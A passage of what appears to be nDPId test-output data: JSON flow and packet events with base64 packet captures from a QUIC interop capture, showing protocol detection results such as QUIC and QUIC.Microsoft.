tfWpzYQViq1cUl0HobKvf8BQLMQNaUHuCe2x0spprn6wrhwmhtFLZM\/3JUQaheNThydzrhRsBxsueLLPS2wSHRf5YbXUOfqKT8x1ZUxl1Cu9Q2MBtIfuiHdJowbL58DK14UHd5YMvnZi5fDRxVUztKDIVYQMqMKH8yV9xD3VGPyIiH8IGHHs5mHayhzBKpOTDNSJvoWCwUSiT09RuRXMK392nYlXWcB1GHTIFJkC8XToE5ImQ07hzYbIBq2ramFYEZ541ak4WuKuC31\/KEs2j8jC9NQ9YUqFgEBERIZrXwnuyNqHXFfcqkiJHQ96OMVEUoO+dD1RwDoPZlAiSL6Y0xKWblqIJeilsDd4MRdVKt2kHPj3frisO3sEnc1o4dW8rgPCUUWuyR+3XiwvLjWNq9104NxX8nzAm\/FnVOMJuAoC5Q=="} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":83,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1603816434743,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"131.159.24.198","src_port":48644,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02111{"flow_id":61,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":743648,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAbxtAAEARaETAqAGAg58Yxr4EEVIE7BzKwgoKCgoIBzLrVZ9ibJ4AAETSpSIYhDhoiEFvP1qBCfMoU\/4qjpQbb9U7jdmFrc8viSpjQA7eDSIQICGT\/pnAELg3vnpeBC5hTrSAg5y0v3Nvj85YCDRYDUNtZg\/gqc9lMinrr2qy\/+tACJsh9TULiMkhVXBS\/DnqCBfVla2xKSlWGVYDfxfjWPLOnhjK4tuRvdsBg38QhZovgQwbE74gpeM+C0l1yFZQr\/3HZtCstNCtOu3UtW84W17PI7FfcdTn2s7KMsKWIseHKaKkB14DaKKUlr8b+M0Keb3aJipD33LW0ttcYvVI7edW5O9HmyMTEHHmLBoOENtgq1qxmaA8dcVwULmdz7v7A89bnJ9YPWVoQT\/AY3vPa9CPc7aXzzjpQHzXvLmR1Cp8lyfevJQBBugOzD1EFG+6ORqgxwy\/t3AMVq6UiTAqOHk10YiYfoOWp0mc0l792MEYihPH4U0Q4J\/xWCQfYBLc2RwO5JS8\/rBGN\/OkQMwq3X5t9nFOjPPZBRc\/+vV3l78KFWTME722BMgiyt1PB0IMcr\/wY9oB71n3944uqDUTQxh283ZrXbfA6w8v7iNeB1nvtIkfZTo5\/9dY9NpiV9qF4AHCmIy\/ojTRgA9UIdX8hEx5O0FmtvynQ+mLeozICBFeXAnpoY8U5dl0a8wlaBpakWQutMPrk\/nAriiy1jFsR5LnosEI4Yz6\/MFOg7bYZIyHPK\/xf+9zlkY7T4qEj6ycOajZ1TYCeHMIlwhBWcOIPbgRWdOWETBlCd6sWgfOMwJCAXcjFu88KLuQ+pCjd31kktdw1RVYXCTbQod3cSDHFSoD6z7zQZ32UQ\/kR6M7QstvWKuGXKrevWSqUPnQ7HrYNQDFIBkklqFkxbVZcSnT4UUB7KQmwYtQUc3FO7o6Sx9BRuD68Yg\/gcvk3BApsJtzmbS7xsNHmaRwAqrqaj4+m2ULPGLQS80yS6mffzxUsj35+UHRRyp7PYmh1cC9qTzCEsRA7CjRwHLjqXJ\/bFB2ydqN23sLpT9nS4qU4QS\/HV6Wwrx0WtQFBbsfAW3fUZkAAZCl13hpQUwFlYp1jVMEWAMYBq5YiQtqre2ANV2GA425sm0cmnAEoAPOvqCelpE6WxYBAjJ6Ob9xQn5fw5KtiH1vTt2jIzGqg7h7x+eEG7EtskR3WXy2ULpj8avtEHxoIAYNFuma3Kw1Q5I+yp3gZXvCg80hvQ5yvTMTRFEFLv7e3AI9MWK1ez\/Gs92MjqKDjcFapzN8J0ncdbpf7VMM\/SAAAyn39VVA2B0eImPwbFAkVPm6q7XMvwTw43gkYyH+tIZCaiByTp2fz7f13zt5uWkHJ\/xdDxZ0QWMsgr23LTh8uX0dAi+gTSxGMdGZ+JMlIsaX0oCPfGb0HHLtAsXQYqZ0ZWPw28mWBYTpruOoNFb3DlX+6qExjK8WSy1ooe5+wJKkueb4Xmv\/UjHpZRrauceITr70pDmM\/h\/qmPnCS6hmsP17czX\/4rm35DUjFnD5mDlo+Qvw14FGc0FaI4S4lHwDgjoDtx1uxn3T6ZBIvh7IG+k1Jkwrdejn5+rYQQ7D+n0F6ra8Kary+Yp6IxTLgWMA39l4flYecvLvLbyaihe+bxuZ\/sXW44m\/I+rkIqDYksSpmtNCQoAiuTEaO8+G9TYcOPSiueZiWcspgw=="} +00739{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":83,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1603816434743,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"131.159.24.198","src_port":48644,"dst_port":4434,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"pandora.cm.in.tum.de","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":84,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1603816434743,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"138.91.188.147","src_port":42468,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02114{"flow_id":62,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":743654,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAP7ZAAEAR7R\/AqAGAilu8k6XkEVEE7HdHzAoKCgoIR0aH1pvahxkAAETSPnSjK947ByD+BwPD1aG8hiXIT+yh1\/\/dJPToYueaTYmcm5W39inFapwMfwXtPNuHyuKzvQi4tEhoFP7o5cr7L\/YLfOvRTXCcf\/nBs2i0GOysW2g+q+ySQiTJnXYhgdgzrVd+5t3w\/PQw6fy9t\/m\/yds5zVgFZvkcK9+PBnMGkX69jNHZy\/lqJ01nDFjal9f8GD69jzEKMTGYvMSJQA7RNeC\/KD8eOpHjj9WBygsq6CUYIr8fo6US3BfgPq9gd0A0tmwg39CMW8XvWjfxQE42A0qdKexPHBHbO44RrgN1lYWHsF9KHFf0oG1zpJP\/biAOd06E+L4G8kH7VJLNs7ScFYpQk1sjfWbopJV2NDDRk5n\/u159T7mAS9TPir6Mkav0xo3zJWRpgX5F8BCPA+wy2ILkS4PSS1v0MrOJCoimlv1DqJ5OlW084DnCjwz8IJMv\/SKXa7+4NnVr\/\/ESvUHOac9wGGR1zXP9FI\/x3cL3p4u9H6RWhCPW4QyjHaemmC\/gfB\/0E+a4D2sYjszc275uEiiMk9YkT5MYHrBeYLCaU7Q8DxDwccUne3cpoJ4lHHcYLSLAlSL\/\/KY7h+VxvR+zoxuGflSDjAs1poqdo\/IUube0PEi4UTgbHuGAtXxbtiHSdrpAoua4+6szPVBhRGKex4yMRpVhbH8S+dN3Pyg3B24A0\/OVSzrM5pnJd27z5j0Gd+CA6I3BX8Yp+2hPRnK41jUW3bVktO7edHptm5sFjlFYICv0SOarAbQ6n2DmwLm92sqQh3QS9Lmm4WOx2XCagFIPZIDiZeLTTkq+aszsag6ixBzFj1pcSsByUB\/GhjosZxT0Gj4yUoAQIHzUTJg7J3nKc68zoJAksRF0IX4lzCTP2m7zWWuJzrV47gUbv+qb40KFRAbhbw5Dyw8fAJ3D9TlnxYIcqnqk4LMimkerR+VyVCXS\/6WHTRMPm4MtIHNddK1\/U\/48s6JsJR68VJBGumfircAqWj50LwIeATognNP1DIA70mG9JvdMDmO2oTwy6ySJN4Y3y06X7q3Z8NCtiC\/iI2uhGloDLFxuymBLemWj0VpyeCZG0yIpqIc1HEmv6XKNmjw7z8uZ8Y5Cfh3l0rF5wkKZKiS1xmPWaos69hnGAavOUwNzlyVD3k8VynbijwHzavIsoRY3BLDI4EUCUOPCvrOJTxW67HBmCCikO43iO+akkrn7xaV4Xo\/zs2kx7KWcSSCAiFYi2fQxAO4dtBo2lzxCU5sDKZWyE2j\/3FtfwJAdNdp2IztD++HqzRoQ387gULsMy0sNutEk1+pbY\/0fe+lCMT8UDYTOJkXwNxjYJql09DmDSST+acm9N1pvUw5rNb4b3q6LcSzpLxBR68KiN6n1WdGdEBNNLh4GVDxkIJvPtKALCuwiML8mF7tHe9HaxwxTrg\/pGssCVS5xDRj73Jovu\/IOG05VG5UNPKU18Acro3NlKckFYERDjRmsoE81UwYtkwm7N7d2F1WbVoupTw027C7AT7qM8FKZYTL16DfcvuloswPjS71+3GJDR59F44OqreAhoGhdcp+Xh8QSIYeTsyxnGWk0kqW4A4ueD9T9D7LMkceoPCCE+H9fBRiJlRLBVUKyk4ZJsKg4xzaX\/xksDV8yz35z5z93CJ\/IWw=="} +00812{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":84,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1603816434743,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"138.91.188.147","src_port":42468,"dst_port":4433,"l4_proto":"udp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"QUIC.Microsoft","breed":"Safe","category":"Cloud"},"quic": {"client_requested_server_name":"quic.westus.cloudapp.azure.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +02106{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":745946,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gBnpkBNgRQCABCwcKydWupNP+R2kegH0kAIkCAAAAAPA8kf\/+aaRU25URUQTY3a\/ICgoKCgj9UoceU8iiQAAARL6ASJxduLYM4xsAvBTFbnnnMgyZmTRslgR5MTLzlGRvRpNyp8S8YSqhWi2EmIsbwpUo7wbHPWhyFPr99JEnZIlhcjYPyxEGseCwFKnV2A0\/LB+svcKwvaZro6Z2b6a5Qb2NXM0oceBQSsPvPMg08kktxPj6SOee45akgVhY4DzKTwOEuk83sHBjlwEQifFccsbM9rqqjEuAyt6JNZnZPoxNz1G+S71LAyfhU0K8u707IjCNbt043hVKiDAAP5Ls\/kOK5\/P5wqDCSLczv4J+lN2F6A33FYO\/MH2HOQiHb42Npm0EKTL+3SUNLPF87XHIdatFGKqcZkjBNCnSSbcZX2rEd6EUtj2nyhPr+r+nFeDhikrv+PxIFsc4VtD7WW0xDr26dPr5aSb061H45m8ZE0qNRBQR5tFZnbTGbyvde2q0Qpki81IBl6UJt1pUmavS5bxq5HrjSyr+NuMKr1axIeHUWwVKneV0bHR+2mJcQo9V+yDL+oVm6ynfkdvz+nfkBGIwjGTvIVMQdFq8yx2LVqO\/qhKk6WPhCoWu9SDfjAy3GRJgBH2n4\/AbuSFWy2FX3xB+FF8PVmqqU3lrXAwclcYyJxho6IWefEErywTT+xmJJToC+y\/V9RX\/POWQWAr70juowrxsRoO0Y3cHtF1mRnK77ko\/Z2bo+32+o7WcpTcj05oFRjeFzF\/bQhzfov7nC9AvF49NZTgKdU080+rsO\/a47JDDU9xRZIAdg7wur3suP\/23X5uAgAdvy9UfsMqaYaHuALSqzHmgmG+LU\/6oOzEiGUuM8xxO480fAsxJEYsa6aGv2IZSIrscvxw7PTjaAwUenIyoO3VqZ+CINAlZcJTfYDfC9Hoc9OdcdGsqCYKUW2wEzwexc9d2EUKPuBdQN2dXat5aWucUNWLDcCZgqT4lbJEnTA2hr0ad5eSaqS6BfcqZWuOLYKUHB67L8Lmnq2zuNtqKmvXXpYPuIvpGFWs7G7GD6CQFOGRklyTm3tEhq+17muIZPvSti1DEepk\/jf609KGeKiujNRiayZCXOCYOzkT28aBRRNckMsvT0LKNcigIKfjCDjIrh9aBkhLcgwpdGyl0y0h5hzDf\/4VXIhtMY0ORmfK1bAFgAlZBgLLfAp9\/vELXdZmlDRSB768DANFA4iwCGp8+E5loZtSnwVUJwBA4KRJzszszKovh\/eLZuleX\/lWlVGnatUN4nwRXaA1HElTOEdLlw6fZcHl\/Bdp4mHTJ8y+9+pA69KKpbmTruDVoXYkxoxHu9SNP1A3\/1SU74fa+4vsnpiYx3onvBAsr5gEzR0pL43F78fgO+m6gor7Et7VdeE4b0ZBmKRybKRoGjfTeCumdBa1nXpC30UmUVAo+zHRyQ1fZ2xkGMwXeR8l2HdsJlr15wXYvnfd6lL7qDoJjy440fHRTo9Bsr\/clAcx+A\/nz+C5jTYcda4m99NqYRLQUmM0ojNMm3OJF4cbzbp6ia5SamPyogQ1msqIhDfkv9Q2tHko55jTHfOK86Fc81Rz9PlrSPeKqSQiDiYO0Ad6xLICN\/o4TcHWtv1wNgnzDEw5LNMuaUGnl4D4FXXeGTZ793MSG1gIEgmaX3GvG52P40BhE04PqAmddEQ=="} +00473{"flow_id":41,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":749121,"pkt_caplen":89,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":89,"pkt_l4_len":35,"pkt":"PKn0qB\/spJGxgjQ5ht1gCsonACMRMSABGfAABQwhVAAB\/\/4zO5YgAQsHCsnVrqTT\/kdpHoB9EVGzHAAjCaG2AAAAAAAI2i99jGY\/xbL\/AAAd\/wAAHP8AABs="} +02111{"flow_id":25,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":750560,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUA8Y1AAEAREMTAqAGAR8opqZMdEVEE7OQ\/wwoKCgoIqaWx\/UJ+JLQAAETSC8vS9NYx\/piHxwl8s8tPMp6kRvO2UBaRMuZHcUr7jludPMV53ZjKHSEyJP+9E8\/YwfQgCjydB0456RwGo1\/cbqx+RH1Q8+a1Bo1DdJBYSWHzgdWM0CbI8YB14t04OHAilhwb5MlDY0NSInVq7T8MAzGcexUB7xgxT3QdMV0ajcdAA4QbbUxGpL\/JsbBCdpMKcKPK2DVQFnN0kkOHn9OlQg4o9cA4XLljFnTIscrDUPaU8cEzYClT6gYQP2jfUUOYkMZZULYk5bpXO7ax5xa50czA2ls0cdXBQf7YUbq+XEnU8cGtnVcx69nAz\/CACNjhFN4oROsXXKDcRVVrHQlIHQT9PZ1APNWYKwMR9C2+9u8dIrhct2cOe+7nRU5qzDx+30cas94Oc2UBgVvL4WrIGpSaoUpJWOS0GeDoGOZ\/NWWg33pgJHnq+fY7ZzZHaHkXZjK77y1bAHB5Tr17hCnN5b0yRFsFoYe9i3Wjp9k8hE3VZmn0SbrwA2HbX31Rwes9jjmIw\/os2DIcecacn2FrvDVlDqA+PQeIAXs\/2y71axQ4RLDic1gPyOF1NF3TOt80pLqz6lBzfCDO3rQH87n\/FiG2UQCjXUWyj00vQBE0K4S49nrAnDyF86E+RmqfHyjAEU7mfiLFjvU+SSLwbi\/fJZjzvnUDZSqjvi6f0IiNao51VPDI0VABW13IqPcImOawEl8JX5u0SQuxZjMaB+gkN47AMk5gGVpUcxeJ7Z9XwIs0K0lZDbqGWCXMCdIud52cUv5Q7a4BkzKCwhQfbEBvI2t+x0ewDQFUYQ17Lne1\/93MxOPU47Wf8TBSnv+VQbWOxLdCg2nECwvv8CsEtJFeZWh\/ha1cf4fZct1vISvq8GJAxKd76jGaP\/45zQLjR4HASo2rVXFn0L\/ETUkSvIfvqvSOkP0YtSO\/ZLn52LtlBuvcA71G0tQ37DmpzKxqMVV6sHgX3+zStA9c6eE7Wp\/gkgIS2yyC89rXKte79UGlVKqDYHmP54LWQ33xn\/ghDB5Udev516Q4LJ\/LYK1naDjh4zdtyWDOyHtV6dDjzohTwANBgk7tTb8qpeFDkvo\/5XKUnTRyFT6z1vDtwXisGZ3PyPwdthxyiwl227D+CWkoTh6C7df5\/ykCgFfvvCvgoQH8u8rshHs55PKOGBg5Hqs5deERSp3QXO5XGtS3KFrfrVEg6HdcbkCxSBW6ksxlYLzTFTTuuN3qPrqUBpBL+bmMKRSiOP1Qzjapvnxaf9gMa1yPSmZaOdEDbYJpPK7oha37il+Yc\/Ki35zS\/SKKrO9P2OR76tBQ1tVYddL33Ezyaaiyq3JlG\/nwWmfV5D2y+Js0\/lW0oPF+SLaGcNUfweLLinRJd+WusXgPVh9RJ+wX\/ykCIdqWlM284dJEMxAAj6BoI4wNZMRXYMh7U0nrCrpYSTFx7EaqFBm7HBPZbeFEUO8nxhWclcKvpJfe5Sf5yDohJz\/1ozHUKuzC9D3+QBJjDqURTWaAew7pm4H1KncN+qU8PnTQKXvs8sV4kCe3iQ+i0\/nVCMUjviEYY1\/hUg1AA4cxVLMRpwljkJ+SrVfWXClIk9dlebLFDCqTEzVG8u0wwo9BmMF63RqgLA7RedBbfzfYGr0pGXf\/l2NvPGQXqdbLDg=="} +00538{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":88,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1603816434750,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:19f0:5:c21:5400:1ff:fe33:3b96","src_port":38689,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02106{"flow_id":63,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":750923,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gAfkDBNgRQCABCwcKydWupNP+R2kegH0gARnwAAUMIVQAAf\/+MzuWlyERUgTYFmvNCgoKCgjw7KzpNo8oeAAARL4tqmRQ5KPAPbdPUnedDn077kKWSLkPygVEwdGpIVFWcp2en9F3ERED+OnUg3d8i8AAkr44lz5aAq3LC+Q212cavhgupcuDcqNoIGhnCIfm+QSZcdNZ4zXfagNI0pLJoRsvOsL\/uXGYxbmgqR94yTDxQ0eUCVIZASIUeRZjEvJCthWVFT2rgBlBR7LYtLcvCmtn0DIMTAiPE\/xh01OGF5bAJQ2pznCPuONfdxbRDf26\/K7Vorl6tUQm\/NY5ROm8iHLzI4aMVUF0HjSu3+YUC1uhFUVddfTvpusRwaZ7kJNAa7P\/Vy96rw+N1QmHoKrViF3SiU98y7yZQbZlWxDFuBm3kfHuLnWeUnH4lwkgdmjgDw\/tGYT9JNO+a4WXT0WG+E149U5CDNgHVyClW14kVzq2L5mwgYWZMAo+lEamoeJB5h9+NMm0nQlLQivIZYDxop0vohOxK5n93lmaDplwC7Jat5ImroXJjGBA1i\/wWMXgstJIth+GejqRDCbbbeG7NxvZ9rVNx+l6f970K8CtZlugC3GRbFE9tMsDJl5zdBgPz83kXeLW4WfxGljbZ2I1\/Fsv5Dj9XTubdhAYt4ThM0knFSb5aX6Ff26rVq4Lfqy9HtKxEerRRn\/GPQ4yjlBfNoPdWIbjRC7TEbcUSnLf\/aCaXXZvuxf7r562GmcMeGxyHBQBVeTMDY1abEs7sWm\/+SOMgorJmIj9ISqcpplInrkBzayKhF83lHHurhCA1lrKNlSdpeepOLCf\/jMxhKTDSGOt6PuvUNMjvuJNj7JdWjB1qgt+7yg6GfadVoLlc7oKEmP2EZkbg1reAwAQOQU0SIVyNqN7R8++hQVFb9WO4t2FPgkjCkOeg8PKyC0+NKn6ths3s033xQ7XDByeP8Nn2kj5mf2ZY2gISmQLZEcrz0CUqG\/ia+5tqLKj4+\/Cndt6cFxpPnK+zzcl+5uVQbgnRXQJmrxZO\/AIu15jMIC2BXo7iG1s9T31lFVuK8ZWVw0cL8LlBKwlz8kc+VhdGPCJrGwt3wYzDhn2EetnDAIMnbnceC6ASm4ceWPn7zfseGSdZHnqg2ItW2chn2XlcQp4yI6MIqqKBep7wjkYIzq1Xg27JeDrqOB5eSz5nPdiU3VaODgQWCUUbg9ghrJZfwLkGvswGRALf+EzPBVkuJnFi0tcoasUB17bL2uvxmMJsQHWFO1QguLm7aeVi4DCA7LeprVfnREJzlwtTcq1k5DYJjUcopXIzceZ1RbGyvZp4+Cg3kMpFGVYKly62GUic6\/xL1lutLalr\/JjiJp45zRjU0jch7XG6sx+An4xZJK0US\/g0Kv\/HVtYynUrwZXu\/woHqvI9+NK8siaNZbHMUKRkIGOXCg9aT\/yvWLUSR9BuvtiEH\/8yVs7NtMMrdgpTQTivJT44BZN6SO0WXldGZUkYPP9OVZchj36EQYpACosyteNK+R\/3v7MWWO4pEsgkp64XBxw2OWJLRgsbR2Yz5fH7LkIbs0gEHDj7\/gcfuV5kb5ePRim1rmsSUQI+hvJlOF3Hyyb3A9HUl2d7fhX4v+4KZIvtThVaEaIsqv89pcU+EoZuJG6wojlAyR0dhaUyj7ezXTuA25fYN0yKiGFN29BfWA=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":88,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":63,"flow_packet_id":1,"flow_first_seen":1603816434750,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2001:19f0:5:c21:5400:1ff:fe33:3b96","src_port":38689,"dst_port":4434,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quic.tech","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +02107{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":750941,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUANsZAAEARy4vAqAGAR8opqZMLAbsE7Ok\/zAoKCgoINqH1Vk80LhQAAETSoI4wdjcpvn01GyYGcs8WSPSlKPT4hY9r7ZqPT9FILv6mf0g+Sw+ruXz256wKfDlVUbQnhrO+J2WPPYXirISnHdW5UejVo+0GNbGGC7pxqEcspy5a\/AJGn9AlGBaUXuFdjU97Kn6GHsNBd6bdZ3+SRnRxnNzx3oqxje3M74CutehdUh9SD+lH8Ub\/n5kiikOxdihmi26CPsVygaeEpmQ\/ctjlgUeWzXeW6BI5VBRC\/SBTjQ1Jm5WM7UYSJc7206JIZFbkts5ijN4IYXYCa6dQPxtIUWKXQ3dvfDY7hKCYqYb0oQk8vNpd+VxLZ+X2tKF+cUI8Vxl+uQ1cyS7KRBFhSWWakuw6JqnPtneYuh2X0FsZcDWbR4iGUWVWgDg9Qw5cfvrP12Y\/yiLSLAGuKBuRr+bvLEH8tSrJRasEnvugWyA7qLDfZYZJnvH+JBBq7\/aECFTncu7StDcd8mUbn9I9AidCbV\/bMYXQlnSnKDQulxvXQ4dbJwT\/tlwiGidqTTeBgir9P1P3PCQxKDec98Req33hD33Pl1kOhW47JhAzt2PSVpD5yGFmdTiUtav0ZVZ4bVttJ50pPh0rwKfk06rey\/iamM+sc2+SMdjSdewqGqL+SInrOte3Zwu6gGMBTDH1Dyn1E0nmn0Tb\/Q1gEjU93vGLNsvKan5nMFqYWW2NNsruGSJ+9aJA9OOwdQMWK3sGUohqhR5oMULjwJwWB4Co1NNGczoGoTZkPBosjx1u8umd4oTn1Z2YEOsfq\/MS16\/Yc6JAedu\/au3dMTV8zUcm9uBg2LvP4HCYefsbA+hZ3OpRlBsm8QE5VwJdjLl9s5rMN33d4LYFMCKrf6QdIGj5c4fUlmgpdRq+dBGaSuAfzg0ku6d1UCGoNDQKc7loJPuEMWGVQQa3mEV9T3wFWWD6qST\/etOV4D\/sj1plYn1+smnFQBuQZSbZweVdNYukikzA14A8nweXxSHltQyCOoXoXsTnOodIRecC5axLme+KFXLONSqcF7oL989dNvADyfgfXeWjM56pSGw8v1frDP2WvRz\/9O2VASdSPymmk7eOvVaojgAkCWc585MWwdlDf2Bq\/0Eu3MuR5eBJAaTZqNMwminLUZSdyoyjLlJm2rZrJBLuK2gyXgKALsphtbmnZoJqw6TqoTKjr8UYtnFpWqENJDhQ5+ORa2Hcbq\/Dt4PwTSt+rPvIoSh7Jaterb+RkztGN0uVdPoKTy77oy3I5gH\/ftpi+zlnKzZWJcJk7cxUnYiLi2m\/syIsVA+rAGJ4eeYI0XnnqQO4AvGYQTCUgtaiahKO7UOHl88kFcJG4D8pQg2wwb5607JGDUPMhSYXsNIwTaOjnaJDy919gMoDn26JaGel3R8iazejn1O\/DzxXDINb0MonstAugqKgKVKjzgLZ\/csTsyHaMRIb0aSATuia50Le8I3Ve5TbTrO\/bIUVjBtgTrRKF9beL0OL2aHMhnVOyvZCYm2Rfh+hzhENK+ndpIFgdC09Qc1PCFaAc\/iWtEnOkRAICRVP\/n2wewDV4ofdczPB2YLwTo\/A4bp3k9J39KVcL+jkeKQH9hK9CryMQU2J\/VOD96l9ePlxO+jxkFCQ59EYKnbqkDYSz689nm86kaU5Ehu7UNB2XjaenWSjg+6wrw=="} +02110{"flow_id":26,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":752617,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAU1dAAEARXy7AqAGAjOM0XJOYAbsE7NI+zwoKCgoI8EYvtCcjifcAAETSbBDdIICaEFzEG1iH2xrezIkmzc81Se7Om4pMqi+fkG1ee5cmCW03EDIZCCsKAvFcaFK0xOPuVpbYZPxd25c0VKDC2\/IuslwjOlp8bug5TVX8ayHsiTo+lsvxl1UQybYSPktQa6tD8aJ1SYoje\/TUY\/5v\/R2x3Qgs8EMkrwm3yX346YWdgmSm1p7ceKPEy+zG5LRvC9shuVP1fHGwJ+1fA5BlvICvwLYIOkfS5qSoKKUy0u4Zz9f3Dl8wvOnZhXCK6i8j4NlIpdZHu5RJiAsAZ4LK1nC+Hkny64Ae6XYMfX+bXXmhr20i5ZKonuPmoXhEkpwdnfR7Q+F6EhXJUuuaYdMH\/IWPcTw7L1PQOQRTBPiChmKnH9chbLTQGT2spRUw6ZUEwVFq4In3Weuzal0iqS\/0+Qhc+H5LZTfRP3k77cm2bTwA3v9yZps\/N8GHeBgerU\/GibGyvQfEIGnBs4SP6XvADxPaOf9Do6K3NWxPainQ6ROxxs18RzpwAqfNw